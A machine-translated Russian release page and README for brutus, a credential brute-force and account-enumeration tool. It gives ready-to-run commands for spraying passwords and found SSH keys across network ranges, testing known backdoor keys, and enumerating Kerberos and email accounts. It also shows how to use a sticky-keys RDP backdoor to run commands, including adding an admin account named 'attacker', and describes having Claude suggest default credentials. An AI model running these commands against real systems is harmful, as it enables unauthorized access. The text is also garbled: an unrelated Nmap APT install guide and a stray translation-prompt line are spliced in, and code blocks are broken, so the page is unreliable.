Назад к обновлениям
New releaseJul 25, 2026

brutus v1.10.0

Быстрый инструмент для тестирования учетных данных с нулевыми зависимостями на Go. Брутфорс SSH, MySQL, PostgreSQL, Redis, MongoDB, SMB и 20+ протоколов. Альтернатива Hydra с нативной интеграцией конвейера nerva/naabu.

Поделиться
Brutus - Социальный

Brutus

"Et tu, Brute?" — Последние слова перед падением учётных данных.

Современный инструмент для тестирования учётных данных на чистом Go

УстановкаБыстрый стартКонвейерПротоколыПереборПроксиБиблиотека


Обзор

Brutus — это многопротокольный инструмент для тестирования аутентификации, созданный для устранения критического пробела в инструментарии атакующей безопасности: эффективной проверки учётных данных через разнообразные сетевые сервисы. В то время как инструментов, ориентированных на HTTP, предостаточно, специалисты по пентестам и операторы красных команд часто сталкиваются с базами данных, SSH, SMB и другими сетевыми сервисами, требующими специализированных возможностей тестирования аутентификации.

Написанный на Go как единый бинарный файл без внешних зависимостей, Brutus бесшовно интегрируется с Nerva для автоматического обнаружения сервисов, позволяя операторам быстро выявлять и тестировать векторы аутентификации во всём диапазоне сети.

Ключевые возможности:

  • Ноль зависимостей: Единый бинарный файл, кроссплатформенность (Linux, Windows, macOS)
  • 27 протоколов: SSH, RDP, MySQL, PostgreSQL, MSSQL, Oracle, Redis, SMB, LDAP, WinRM, SNMP, HTTP Basic Auth и другие
  • Поддержка прокси SOCKS5: Маршрутизация всего трафика через прокси SOCKS5 с опцией --proxy
  • Режимы агрессивности: --mode cautious|default|aggressive для настройки покрытия и безопасности
  • Интеграция с конвейером: Нативная поддержка рабочих процессов Nerva, naabu, nmap и masscan
  • Встроенные плохие ключи: Встроенная коллекция известных SSH-ключей (Vagrant, F5, ExaGrid и т.д.)
  • Перебор учётных записей: Оракул существования учётных записей, перебор пользователей Kerberos, генерация email, аутентификация через код устройства Microsoft Teams/Entra ID
  • Библиотека Go: Импортируйте напрямую в свои инструменты автоматизации безопасности
  • Готовность к производству: Ограничение скорости, пул соединений и всесторонняя обработка ошибок

Зачем Brutus?

Традиционные инструменты, такие как THC Hydra, хорошо служили сообществу безопасности, но они сопряжены со значительными трудностями: сложные цепочки зависимостей, проблемы компиляции для разных платформ и отсутствие нативной интеграции с современными рекогносцировочными рабочими процессами.

Brutus создан специально для современной атакующей безопасности:

  • Истинное развёртывание без зависимостей: Загрузите один бинарный файл и запускайте. Никаких libssh-dev, никаких libmysqlclient-dev, никаких ошибок компиляции. Работает идентично на Linux, macOS и Windows.

  • Нативная интеграция с конвейером: Brutus говорит на JSON и напрямую интегрируется с Nerva, naabu, nmap и masscan. Передавайте обнаруженные сервисы прямо в тестирование учётных данных без преобразования форматов или написания скриптов.

  • Встроенный интеллект: Известные плохие SSH-ключи (Vagrant, F5 BIG-IP, ExaGrid и т.д.) скомпилированы в бинарный файл. Используйте brutus badkeys для их тестирования на SSH-целях.

  • Проект, ориентированный на библиотеку: Импортируйте Brutus напрямую в свои инструменты безопасности на Go. Создавайте собственную автоматизацию без вызова внешних процессов.```bash

Full network credential audit in one pipeline (JSON mode)

naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva --json | brutus creds --json

Or use Nerva's default URI output — no --json flags needed

naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva | brutus creds

---

## Варианты использования

### Тестирование на проникновение
- Проверка обнаруженных учетных данных в нескольких службах во время внутренних оценок
- Тестирование шаблонов повторного использования паролей в службах баз данных и общих файловых ресурсах
- Выявление учетных данных по умолчанию на вновь развернутой инфраструктуре

### Операции Red Team
- Быстрая проверка учетных данных после утечек паролей или фишинговых кампаний
- Тестирование возможностей бокового перемещения по сетевым службам
- Проверка скомпрометированных учетных данных в гетерогенных средах

### Распыление закрытых ключей

Нашли закрытый ключ на скомпрометированной системе? Распылите его по сети, чтобы узнать, где еще он предоставляет доступ:```bash
# Discover SSH services and spray a found private key
naabu -host 10.0.0.0/24 -p 22 -silent | \
  nerva --json | \
  brutus creds -u root,admin,ubuntu,deploy -k /path/to/found_key --json

Этот конвейер обнаруживает все SSH-сервисы, идентифицирует их с помощью Nerva и проверяет скомпрометированные ключи на распространённые имена пользователей — выявляя возможности для горизонтального перемещения за секунды.

Тестирование панелей администрирования веб-приложений

Определите HTTP-сервисы и проверьте учётные данные с помощью обнаружения на основе ИИ или вручную заданных списков учётных данных:```bash

AI-powered: auto-detect devices and suggest default credentials

naabu -host 10.0.0.0/24 -p 80,443,3000,8080,9090 -silent |
nerva --json |
brutus web --experimental-ai --json

Manual: test specific credentials against web panels

naabu -host 10.0.0.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web -c "admin:admin,root:password" --json

Default wordlist: test common credentials without AI or -c

naabu -host 10.0.0.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web --json

### Проверка безопасности
- Тестирование стандартных учетных данных на вновь развернутых службах
- Проверка соблюдения политики паролей на разных платформах
- Создание журналов аудита для соответствия требованиям и оценки безопасности

---

## Установка

### Предварительно собранные двоичные файлы (рекомендуется)

Скачать из [GitHub Releases](https://github.com/praetorian-inc/brutus/releases):```bash
# Linux (amd64)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-linux-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/

# macOS (Apple Silicon)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-arm64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/

# macOS (Intel)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/

Установка через APT-репозитории

В системах на базе Debian Nmap также можно установить с помощью пакетного менеджера APT, хотя рекомендуется загрузить последнюю версию напрямую из официального репозитория. Внимание: Версия в репозитории APT может быть устаревшей. Используйте официальный репозиторий, чтобы получить самые актуальные инструменты.

Пошаговая инструкция

Предварительные требования

  • Убедитесь, что установлены пакеты curl и gnupg:

    sudo apt install curl gnupg -y
    
  • Если эти инструменты уже установлены, этот шаг можно пропустить.

Добавление официального репозитория Nmap

  • Сначала импортируйте GPG-ключ:

    curl -fsSL https://nmap.org/dist/nmap-gpg-key.asc | sudo gpg --dearmor -o /usr/share/keyrings/nmap-archive-keyring.gpg
    
  • Затем добавьте репозиторий:

    echo "deb [signed-by=/usr/share/keyrings/nmap-archive-keyring.gpg] https://nmap.org/debian stable main" | sudo tee /etc/apt/sources.list.d/nmap.list > /dev/null
    

Установка Nmap

  • Обновите список пакетов и установите Nmap:

    sudo apt update
    sudo apt install nmap -y
    ``````powershell
    

Windows (PowerShell)

Invoke-WebRequest -Uri https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-windows-amd64.zip -OutFile brutus.zip Expand-Archive -Path brutus.zip -DestinationPath . Remove-Item brutus.zip

### Установка Go```bash
go install github.com/praetorian-inc/brutus/cmd/brutus@latest

Быстрый старт

Подкоманды

Brutus организует свои функции в шесть целенаправленных подкоманд:```bash brutus creds # Non-HTTP credential auditing (SSH, databases, SMB, etc.) brutus web # HTTP/web panel auditing (Basic Auth, form login, AI-powered) brutus snmp # SNMP community string testing brutus badkeys # Known weak/compromised SSH key testing brutus logon # Windows logon-screen backdoor detection (sticky keys, utilman) brutus enum # Account enumeration (account-existence oracles, Kerberos, Teams auth, email generation)

Каждая подкоманда имеет псевдонимы для удобства поиска:

| Подкоманда | Псевдонимы |
|------------|---------|
| `creds` | `services`, `defaults`, `credentials` |
| `web` | `http`, `panels` |
| `snmp` | `community` |
| `badkeys` | `keys`, `ssh-keys`, `badkey` |
| `logon` | `stickykeys`, `sticky-keys`, `utilman`, `sethc`, `winlogon`, `accessibility` |
| `enum` | *(нет)* |```bash
# Test SSH credentials
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor

# Test HTTP web panel with AI credential detection
brutus web --target 192.168.1.1:80 --experimental-ai

# Test HTTP web panel with manual credentials
brutus web --target 192.168.1.1:80 -c "admin:admin,root:toor"

# Test SNMP community strings
brutus snmp --target 192.168.1.1:161 --mode aggressive

# Detect Windows logon-screen backdoors
brutus logon --target 10.0.0.50:3389

# Pipeline mode: creds skips HTTP/SNMP, web skips non-HTTP, snmp skips non-SNMP
naabu -host 10.0.0.0/24 -silent | nerva --json | brutus creds -P passwords.txt
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | nerva --json | brutus web --experimental-ai
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive

Базовое использование```bash

Test SSH with default credentials

brutus creds --target 192.168.1.100:22 --protocol ssh

Test with specific credentials

brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor

Test with username and password lists

brutus creds --target 192.168.1.100:22 --protocol ssh -U users.txt -P passwords.txt

Test MySQL database

brutus creds --target 192.168.1.100:3306 --protocol mysql -u root -p password

Test SSH with a specific private key

brutus creds --target 192.168.1.100:22 --protocol ssh -u deploy -k /path/to/id_rsa

Increase threads for faster testing

brutus creds --target 192.168.1.100:22 --protocol ssh -t 20

JSON output for scripting

brutus creds --target 192.168.1.100:22 --protocol ssh --json

### Пример вывода```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root,admin -p toor,password,admin
[+] VALID: ssh root:toor @ 192.168.1.100:22 (1.23s)

С подробным режимом (-v):``` $ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p password,toor -v [-] FAILED: ssh root:password @ 192.168.1.100:22 (0.45s) [+] VALID: ssh root:toor @ 192.168.1.100:22 (0.52s)

Вывод JSON для интеграции с конвейером (выводятся только успешные учётные данные):```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor --json
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}

Интеграция конвейера

Brutus бесшовно интегрируется с Nerva и naabu для полной разведки сети.

Реальные сценарии использования

Сценарий 1: Сканирование корпоративной сети /24```bash

Discover all open ports, identify services, test default credentials

naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent |
nerva --json |
brutus creds --json -o results.json

Same pipeline using Nerva's default URI output (no --json needed)

naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent |
nerva | brutus creds -o results.json

Review findings (all output is successful credentials)

cat results.json | jq '.'

#### Сценарий 2: Разведка баг-баунти на целевом домене```bash
# Full pipeline against a single target
naabu -host target.example.com -top-ports 1000 -silent | \
  nerva --json | \
  brutus creds

# Or scan a list of subdomains
cat subdomains.txt | naabu -silent | nerva --json | brutus creds

Сценарий 3: Охота за базами данных во внутренней оценке```bash

Find and test all databases in a range

naabu -host 192.168.0.0/16 -p 3306,5432,1433,27017,6379,9042 -silent |
nerva --json |
brutus creds -t 5 --json |
tee database-findings.json

Extract credentials in readable format

jq -r '"(.target) (.username):(.password)"' database-findings.json

#### Сценарий 4: Тестирование SSH-ключей по всей инфраструктуре```bash
# Test embedded bad keys (Vagrant, F5 BIG-IP, ExaGrid, etc.) across a range
naabu -host 10.0.0.0/8 -p 22 -rate 1000 -silent | \
  nerva --json | \
  brutus badkeys --json -o ssh-key-findings.json

# Find systems using compromised SSH keys (key field is true)
cat ssh-key-findings.json | jq 'select(.key == true)'

Сценарий 5: Целевое тестирование сервисов```bash

Test only Redis instances found in the network

naabu -host 172.16.0.0/12 -p 6379 -silent |
nerva --json |
brutus creds

Test only MongoDB with custom credentials

naabu -host 10.0.0.0/24 -p 27017 -silent |
nerva --json |
brutus creds -u admin,root,mongodb -p admin,password,mongodb

### Scan Tool Import (Nmap & Masscan)

Brutus может импортировать цели непосредственно из выходных файлов сканирования **nmap** и **masscan**, устраняя необходимость в преобразовании форматов или промежуточных инструментах.

#### Nmap XML Import (`--nmap-file`)

Импорт целей из вывода nmap в формате XML (`-oX`). Nmap предоставляет идентификацию служб, поэтому Brutus автоматически сопоставляет обнаруженные службы с правильным протоколом:```bash
# Run an nmap service scan
nmap -sV -oX scan.xml 10.0.0.0/24 -p 22,3306,5432,6379,445,3389

# Feed nmap results directly to Brutus
brutus creds --nmap-file scan.xml -P passwords.txt

# Test web services from nmap scan
brutus web --nmap-file scan.xml -c "admin:admin,root:password"

# Test SNMP from nmap scan
brutus snmp --nmap-file scan.xml --mode aggressive

# JSON output for scripting
brutus creds --nmap-file scan.xml --json -o results.json

Имена служб Nmap автоматически сопоставляются с протоколами Brutus (например, ms-wbt-serverrdp, microsoft-dssmb). TLS обнаруживается по атрибуту tunnel="ssl" nmap. Импортируются только открытые порты на активных хостах.

Импорт JSON из Masscan (--masscan-file)

Импортируйте цели из вывода JSON masscan (-oJ). Поскольку masscan является только сканером портов (без определения служб), вы должны либо указать --protocol, либо позволить Brutus автоматически определять протоколы с помощью Nerva:```bash

Run a masscan port scan

masscan 10.0.0.0/24 -p 22,3306,5432,6379 -oJ scan.json --rate 10000

Test all discovered ports as SSH (when you know what's running)

brutus creds --masscan-file scan.json --protocol ssh -u root -P passwords.txt

Auto-fingerprint with Nerva (when services are unknown)

brutus creds --masscan-file scan.json -P passwords.txt

#### Комбинирование с другими рабочими процессами

Флаги `--nmap-file` и `--masscan-file` работают со всеми подкомандами и являются взаимоисключающими с `--target`, `--targets-file` и stdin:```bash
# Scan for RDP backdoors from nmap results
brutus logon --nmap-file scan.xml

# Test SSH bad keys from nmap results
brutus badkeys --nmap-file scan.xml

# Override protocol for all masscan targets
brutus creds --masscan-file scan.json --protocol redis -p "redis,password"

Формат входных данных конвейера

Brutus принимает несколько форматов входных данных из stdin:

Nerva JSON (nerva --json):```bash {"ip":"192.168.1.100","port":22,"protocol":"ssh","tls":false,"transport":"tcp","version":"OpenSSH_8.9p1"} {"ip":"192.168.1.101","port":3306,"protocol":"mysql","tls":false,"transport":"tcp","version":"8.0.32"}

**Nerva URI** (стандартный вывод Nerva, `--json` не требуется):```bash
# Nerva outputs URI-scheme lines by default
$ echo "github.com:22" | nerva
ssh://github.com:22 (20.205.243.166)

# Pipe directly to Brutus — protocol is extracted from the URI scheme
echo "10.0.0.1:22" | nerva | brutus creds
echo "10.0.0.0/24:3306" | naabu -silent | nerva | brutus creds

Чистые цели (автоматически идентифицированные по отпечатку с помощью Nerva):```bash echo "192.168.1.100:22" | brutus creds

Brutus автоматически:
- Разбирает JSON, URI-схемы и форматы чистых целей
- Сопоставляет службы с протоколами
- Тестирует соответствующие учетные данные по умолчанию
- Выводит результаты в соответствующем JSON-формате

### Формат вывода конвейера

Brutus выводит только успешные учетные данные в формате JSONL (один JSON-объект на строку):```bash
# Brutus JSON output (with --json flag) - only successful authentications
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
{"protocol":"mysql","target":"192.168.1.101:3306","username":"root","password":"","duration":"890.123µs"}
{"protocol":"ssh","target":"192.168.1.103:22","username":"vagrant","key":true,"duration":"2.345678ms","banner":"SSH-2.0-OpenSSH_9.6"}

Примечание: Неудачные попытки аутентификации не включаются в вывод JSON. Поле key появляется (как true), когда аутентификация использует SSH-ключ вместо пароля. Поле llm_suggested появляется (как true), когда учетные данные были предложены системой ИИ (--experimental-ai).


Сравнение

ОсобенностьHydraMedusaNcrackBrutus
Один бинарный файл
Ноль зависимостей
SOCKS5 прокси
Конвейер Nerva
Импорт из Nmap/Masscan
Потоковый JSON⚠️
Кроссплатформенность⚠️⚠️⚠️
Согласованные ошибки⚠️⚠️⚠️
Активная разработка⚠️
Встроенные неверные ключи
Импорт Go-библиотеки

Поддерживаемые протоколы

Brutus поддерживает 27 протоколов:

Сетевые сервисы

ПротоколПортМетоды аутентификацииИспользование
SSH22Пароль, закрытые ключиСерверы, сетевое оборудование
FTP21ПарольФайловые серверы, NAS
Telnet23ПарольУстаревшие системы, IoT
VNC5900ПарольУдаленные рабочие столы
RDP3389NLA/CredSSP, ПарольWindows-серверы, рабочие станции
SNMP161Community StringСетевые устройства, принтеры

Веб-сервисы

ПротоколПортМетоды аутентификацииИспользование
HTTP80Basic AuthПанели администрирования (Grafana, Jenkins и т.д.)
HTTPS443Basic AuthЗащищенные панели администрирования

Корпоративная инфраструктура

ПротоколПортМетоды аутентификацииИспользование
SMB445Пароль, NTLMСети Windows, файловые ресурсы
LDAP389/636Bind DNActive Directory, идентификация
WinRM5985/5986NTLMУдаленное управление Windows

Базы данных

ПротоколПортМетоды аутентификацииИспользование
MySQL3306ПарольВеб-приложения
PostgreSQL5432ПарольСовременные приложения
MSSQL1433ПарольКорпоративные приложения
MongoDB27017ПарольБэкенды NoSQL
Redis6379ПарольКэширование, сессии
Neo4j7687ПарольГрафовые базы данных
Cassandra9042ПарольРаспределенные базы данных
CouchDB5984HTTP BasicХранилища документов
Elasticsearch9200HTTP BasicПоисковые движки
InfluxDB8086HTTP BasicВременные ряды
Oracle1521ПарольКорпоративные базы данных

Контейнеры и оркестрация

ПротоколПортМетоды аутентификацииИспользование
Docker2375/2376Без аутентификацииОткрытые Docker-демоны
Kubernetes6443/10250Без аутентификацииОткрытые K8s API/kubelet

Коммуникации

ПротоколПортМетоды аутентификацииИспользование
SMTP25/587ПарольПочтовый релей
IMAP143/993ПарольДоступ к почтовым ящикам
POP3110/995ПарольДоступ к почтовым ящикам

Встроенные небезопасные SSH-ключи

Развертывание в виде одного бинарного файла без необходимости во внешних файлах ключей. Каждый ключ сопоставлен с именем пользователя по умолчанию для интеллектуального сопоставления учетных данных, а отслеживание CVE позволяет выполнять запросы на соответствие требованиям.

Brutus содержит встроенные в бинарный файл коллекции ключей rapid7/ssh-badkeys и Vagrant:```bash

Test bad keys against a single target

brutus badkeys --target 192.168.1.100:22

Pipeline mode: scan a range for compromised SSH keys

naabu -host 10.0.0.0/24 -p 22 -silent | nerva --json | brutus badkeys

Test credentials (bad keys are NOT included in creds mode)

brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p "password"

### Встроенные коллекции ключей

| Продукт | CVE | Пользователь по умолчанию | Описание |
|---------|-----|--------------------------|----------|
| Vagrant | - | vagrant, root | Небезопасный ключ HashiCorp Vagrant |
| F5 BIG-IP | CVE-2012-1493 | root | Статический ключ SSH хоста |
| ExaGrid | CVE-2016-1561 | root | Бэкдор в устройстве резервного копирования |
| Monroe DASDEC | CVE-2013-0137 | root | Системы экстренного оповещения |
| Barracuda | CVE-2014-8428 | cluster | Балансировщик нагрузки VM |
| Ceragon FibeAir | CVE-2015-0936 | mateidu | Беспроводная транспортная сеть |
| Array Networks | - | sync | Аппаратные решения vAPV/vxAG |
| Quantum DXi | - | root | Устройства дедупликации |
| Loadbalancer.org | - | root | Корпоративные балансировщики нагрузки |

---

## Режимы агрессивности

Глобальный флаг `--mode` (`-m`) управляет агрессивностью во всех подкомандах. Он задаёт предустановки настройки производительности, балансируя между покрытием и безопасностью:

| Режим | Потоки | Тайм-аут | Лимит запросов | Джиттер | Повторы | Сценарий использования |
|------|---------|----------|----------------|---------|---------|------------------------|
| `cautious` | 5 | 15s | 2 запр/с | 500мс | 1 | Рабочие среды, избегание блокировок |
| `default` | 10 | 10s | Без лимита | Нет | 2 | Стандартное тестирование |
| `aggressive` | 20 | 10s | Без лимита | Нет | 3 | Лабораторные/CTF среды, максимальное покрытие |

Предустановки режимов применяются в первую очередь, затем любой явный аргумент CLI переопределяет их:```bash
# Safe mode for production Active Directory (low concurrency, rate-limited)
brutus creds --target dc.corp.local:445 --protocol smb -m cautious -U users.txt -P passwords.txt

# Maximum coverage for a CTF
brutus creds --target 10.10.10.100:22 --protocol ssh -m aggressive -U users.txt -P rockyou.txt

# Cautious mode but override threads
brutus creds --target 192.168.1.100:22 --protocol ssh -m cautious --threads 20

Для SNMP, режим также управляет глубиной встроенного списка слов (см. Тестирование SNMP Community String).


Поддержка SOCKS5-прокси

Флаг --proxy направляет все соединения через SOCKS5-прокси. Это работает для всех протоколов и подкоманд:```bash

Route SSH testing through a SOCKS5 proxy

brutus creds --target 10.0.0.100:22 --protocol ssh --proxy socks5://127.0.0.1:1080

Proxy with authentication

brutus creds --target 10.0.0.100:3306 --protocol mysql --proxy socks5://user:[email protected]:1080

DNS resolution on the proxy side (socks5h)

brutus creds --target internal.corp:22 --protocol ssh --proxy socks5h://127.0.0.1:1080

Combine with pipeline input

naabu -host 10.0.0.0/24 -p 22,3306 -silent | nerva --json | brutus creds --proxy socks5://127.0.0.1:1080

Works with all subcommands

brutus web --target 192.168.1.1:8080 --proxy socks5://127.0.0.1:1080 brutus snmp --target 192.168.1.1:161 --proxy socks5://127.0.0.1:1080

Supported schemes:
- `socks5://` — Стандартный SOCKS5-прокси (разрешение DNS на стороне клиента)
- `socks5h://` — SOCKS5 с удаленным разрешением DNS (полезно при работе с внутренними именами хостов)

---

## Тестирование SNMP Community String

Подкоманда `snmp` предоставляет специализированное тестирование community strings для SNMP v1/v2c с многоуровневыми списками слов, управляемыми глобальным флагом `--mode`:

| Режим | Строки | Охват |
|------|---------|----------|
| `cautious` | ~25 | Распространенные строки (public, private, community и т.д.) |
| `default` | ~25 | То же, что и cautious |
| `aggressive` | 200+ | Всесторонний (уникальные для вендоров, SCADA, IP-камеры, хранилища и т.д.) |```bash
# Test with default community strings (~25)
brutus snmp --target 192.168.1.1:161

# Aggressive mode for comprehensive testing (200+)
brutus snmp --target 10.0.0.1:161 --mode aggressive

# Custom community strings
brutus snmp --target 192.168.1.1:161 -c "mycommunity,secretstring"

# Custom community string file
brutus snmp --target 192.168.1.1:161 -C community-strings.txt

# Pipeline mode
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive

Интеграция в качестве библиотеки

Для разработчиков, создающих инструменты автоматизации безопасности, Brutus также можно импортировать как библиотеку Go:```bash go get github.com/praetorian-inc/brutus

Please provide the Markdown content to translate.```go
package main

import (
    "fmt"
    "time"

    "github.com/praetorian-inc/brutus/pkg/brutus"
    _ "github.com/praetorian-inc/brutus/pkg/builtins" // registers all protocols and analyzers
)

func main() {
    config := &brutus.Config{
        Target:        "192.168.1.100:22",
        Protocol:      "ssh",
        Usernames:     []string{"root", "admin"},
        Passwords:     []string{"password", "admin", "toor"},
        Timeout:       5 * time.Second,
        Threads:       10,
    }

    results, err := brutus.Brute(config)
    if err != nil {
        panic(err)
    }

    for _, r := range results {
        if r.Success {
            fmt.Printf("[+] Valid: %s:%s\n", r.Username, r.Password)
        }
    }
}

Экспериментально: обнаружение учётных данных на основе ИИ

⚠️ Экспериментальная функция: Функции ИИ требуют внешних API-ключей и находятся в активной разработке.

Флаг --experimental-ai

Флаг --experimental-ai включает автоматическое обнаружение учётных данных для HTTP-сервисов:```bash

Set up API keys

export ANTHROPIC_API_KEY="your-anthropic-key" # Required: Claude Vision for device identification export PERPLEXITY_API_KEY="your-perplexity-key" # Optional: additional web search

AI-powered credential testing against HTTP services

naabu -host 192.168.1.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web --experimental-ai

**Как это работает:**

1. **Обнаружение** — Brutus проверяет HTTP-цели для определения типа аутентификации (Basic Auth или форма)
2. **Идентификация устройства** — Claude Vision анализирует скриншоты для определения устройства/приложения
3. **Предложения учётных данных** — Claude предлагает стандартные учётные данные из своих обучающих данных
4. **Опциональный веб-поиск** — Perplexity (если настроен) ищет дополнительные учётные данные в интернете
5. **Тестирование** — Проверяет найденные учётные данные на целевой системе

**Для целей с HTTP Basic Auth:**
- Проверяет `/` для захвата HTTP-заголовков
- Определяет устройство по заголовку Server, области WWW-Authenticate и т.д.
- Claude предлагает вероятные стандартные учётные данные
- Автоматически тестирует пары учётных данных

**Для целей с аутентификацией через HTML-формы:**
- Использует headless Chrome для рендеринга и создания скриншота страницы
- Claude Vision определяет форму входа, тип устройства и предлагает учётные данные
- Perplexity (опционально) ищет дополнительные стандартные учётные данные
- Автоматизация браузера заполняет и отправляет форму

**Требования:**
- `ANTHROPIC_API_KEY` — **Обязательно** для Claude Vision (идентификация устройства + предложение учётных данных)
- `PERPLEXITY_API_KEY` — *Опционально* для дополнительного веб-поиска
- Установленный Chrome/Chromium (только для аутентификации через формы)

**Не-HTTP протоколы (SSH, MySQL и т.д.) не затрагиваются параметром `--experimental-ai`** — они продолжают использовать стандартную проверку учётных данных.

---

## RDP: Обнаружение и эксплуатация бэкдора залипания клавиш

Brutus включает автоматическое обнаружение **бэкдора залипания клавиш** (MITRE ATT&CK [T1546.008](https://attack.mitre.org/techniques/T1546/008/)) на RDP-целях. Эта проверка выполняется до аутентификации на RDP-целях без NLA — учётные данные не требуются.

**Как это работает:**

1. Подключается к RDP-цели и устанавливает сеанс без NLA
2. Захватывает изображение экрана входа в систему в качестве базового
3. Отправляет 5-кратное нажатие Shift (триггер залипания клавиш)
4. Захватывает изображение ответа
5. Эвристический анализ определяет, появилось ли окно терминала (cmd.exe, PowerShell и т.д.)
6. Опционально подтверждает через API Claude Vision (если задан `ANTHROPIC_API_KEY`)```bash
# Detection only — no brute force
brutus logon --target 10.0.0.50:3389

# Detection + Vision API confirmation
brutus logon --target 10.0.0.50:3389 --experimental-ai

Режим только обнаружения: Подкоманда logon запускает обнаружение бэкдора залипания клавиш и utilman без перебора паролей:```bash

Detection only (no brute force)

brutus logon --target 10.0.0.50:3389

**Результат обнаружения:**```
[CRITICAL] Sticky keys backdoor CONFIRMED (confidence: 85%)
sethc.exe has been replaced with cmd.exe or similar.
SYSTEM-level unauthenticated access available via 5x Shift.

Выполнение команды через бэкдор (--exec)

После обнаружения бэкдора выполните команду на удаленной системе через предварительно аутентифицированную командную строку:```bash

Execute a single command via the backdoor

brutus logon --target 10.0.0.50:3389 --exec "whoami"

Add a local admin account

brutus logon --target 10.0.0.50:3389
--exec "net user attacker P@ssw0rd /add && net localgroup administrators attacker /add"

Это подключается, запускает бэкдор, вводит команду, нажимает Enter, ожидает вывода и сохраняет скриншот результата в формате PNG.

### Интерактивный веб-терминал (`--web`)

Запустите браузерный RDP-просмотрщик для живого взаимодействия с командной строкой бэкдора:```bash
# Start interactive web terminal
brutus logon --target 10.0.0.50:3389 --web

Это запускает локальный HTTP-сервер с:

  • Потоковое отображение экрана в реальном времени ~10 кадров/с (JPEG через WebSocket)
  • Полная передача нажатий клавиш (скан-коды PS/2, отображаемые из KeyboardEvent браузера)
  • Поддержка мыши (щелчок, перемещение, правый щелчок)
  • Статус подключения с наложением при отключении и кнопкой переподключения

Откройте отображаемый URL (например, http://127.0.0.1:<port>) в любом браузере, чтобы взаимодействовать с удаленным сеансом RDP. Если сеанс отключается из-за тайм-аута простоя на стороне сервера, нажмите Переподключиться, чтобы установить новый сеанс.

Примечание: Сеансы RDP без NLA имеют тайм-аут простоя на стороне сервера (значение по умолчанию Windows зависит от конфигурации, обычно управляется групповой политикой в Computer Configuration > Administrative Templates > Remote Desktop Services > Session Time Limits). Чтобы увеличить тайм-аут на тестовом целевом устройстве, установите MaxIdleTime в 0 в реестре:

HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\MaxIdleTime = 0 (DWORD)

Соображения B-TP (Benign True Positive): Замена бэкдора также может указывать на забытые процедуры восстановления пароля или артефакты авторизованных тестов на проникновение.

Конвейер массового сканирования RDP

Для крупномасштабных оценок подкоманда logon выполняет обнаружение бэкдоров на нескольких целях. Она принимает входные данные конвейера, файлы с целями или импорт из nmap/masscan — тестируются только службы RDP:```bash

Scan a /24 for sticky keys and utilman backdoors

naabu -host 10.0.0.0/24 -p 3389 -silent |
nerva --json |
brutus logon --json -o rdp-findings.json

Scan from nmap results

brutus logon --nmap-file scan.xml --json -o rdp-findings.json

Scan from targets file

brutus logon --targets-file rdp-targets.txt --json

Extract critical findings

jq 'select(.finding == "[CRITICAL]")' rdp-findings.json

**Техническая реализация:** поддержка протокола RDP использует [IronRDP](https://github.com/Devolutions/IronRDP) (Rust), скомпилированный в WebAssembly и выполняемый через [wazero](https://github.com/tetratelabs/wazero), что сохраняет нулевую зависимость от CGO и однофайловую архитектуру Brutus.

---

## Перечисление учётных записей

Подкоманда `enum` перечисляет, какие оракулы существования учётных записей работают для организации (и перечисляет электронные письма по ним) или перечисляет пользователей Active Directory, всё это без отправки паролей.

### Перечисление оракулов существования учётных записей

Определите, какие неаутентифицированные оракулы существования учётных записей (microsoft365, google, github, а также оракул Microsoft Teams) работают для организации, проверьте их на известном действительном пользователе, затем перечислите кандидатов электронных писем по работающим оракулам. DNS TXT разведка выявляет кандидатов оракулов; проверка с помощью `--known-valid` является основным моментом. `--known-valid` обязателен, и перечисление выполняется только по оракулам, которые подтверждают его:```bash
# Discover candidate oracles via DNS and report which ones work
brutus enum active oracles --domain example.com --known-valid [email protected]

# Enumerate specific emails against the working oracles
brutus enum active oracles --domain example.com -e [email protected],[email protected] --known-valid [email protected]

# Enumerate emails from file
brutus enum active oracles --domain example.com -E emails.txt --known-valid [email protected]

# Generate emails from embedded name lists and enumerate against working oracles
brutus enum active oracles --domain example.com --generate --format flast --known-valid [email protected]

# Discover working oracles with a known-valid email before large-scale enumeration
brutus enum active oracles discover --domain example.com --known-valid [email protected]

Перечисление пользователей Kerberos

Перечисление имен пользователей Active Directory через Kerberos AS-REQ (пароли не отправляются, риска блокировки нет):```bash

Enumerate specific users

brutus enum active kerberos --dc 10.0.0.1 --domain CORP.LOCAL -u administrator,guest,krbtgt

Enumerate from file

brutus enum active kerberos --dc dc01.corp.local --domain CORP.LOCAL -U users.txt

Generate usernames and pipe to Kerberos enum

brutus enum generate --format flast | brutus enum active kerberos --dc 10.0.0.1 --domain CORP.LOCAL -U -

### Генерация email/имен пользователей

Генерируйте email-адреса или имена пользователей из встроенных списков имен/фамилий:```bash
# Generate emails: [email protected]
brutus enum generate --domain example.com --format flast

# Generate usernames only (no domain): jsmith
brutus enum generate --format flast

# Available formats: first.last, flast, firstl, f.last, lastf, last.first, lastfirst, first
